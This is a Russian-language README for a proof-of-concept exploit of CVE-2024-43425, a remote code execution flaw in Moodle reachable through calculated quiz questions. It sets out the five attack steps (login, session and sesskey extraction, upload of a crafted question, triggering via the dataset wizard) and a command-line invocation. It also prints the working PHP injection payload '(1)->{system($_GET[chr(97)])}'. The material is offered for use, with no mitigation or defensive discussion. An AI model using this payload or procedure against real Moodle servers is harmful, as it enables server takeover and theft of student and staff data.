
Доказательство концепции эксплуатации уязвимости CVE-2024-43425, демонстрирующее аутентифицированное удаленное выполнение кода в Moodle через загрузку вредоносных вычисляемых вопросов.
CVE Обзор CVE ID: CVE-2024-43425
Описание: Moodle позволяет аутентифицированному пользователю с правами учителя загрузить вредоносный вычисляемый вопрос через интерфейс редактора тестов. Воздействие: Удаленное выполнение кода (RCE) Причина: Некорректная санитизация математических нагрузок внутри вычисляемых вопросов, что приводит к внедрению команд через мастер наборов данных.
##Требования:
Действительные учетные данные для входа Доступ к интерфейсу редактирования тестов (обычно роль учителя или администратора) Известный cmid (ID модуля теста) и courseid
##Этот скрипт выполняет атаку в 5 шагов:
Шаг Описание 1️⃣ Получение токена входа (logintoken) 2️⃣ Вход в систему и установка действительной сессии MoodleSession 3️⃣ Извлечение sesskey, ctxid и категории со страницы редактирования теста 4️⃣ Загрузка специально созданного вычисляемого вопроса с нагрузкой RCE 5️⃣ Запуск нагрузки через страницу мастера наборов данных
##Инструкция по использованию
Требования: Python 3 Библиотеки Python: requests, bs4 (BeautifulSoup)
pip3 install requests bs4
python3 exploit_cve_2024_43425.py \
--url http://192.168.2.12/moodle \
--username test \
--password 'Test@123' \
--courseid 1 \
--cmid 1 \
--cmd 'whoami'
##Используемая нагрузка:
answer[0] = "(1)->{system($_GET[chr(97)])}"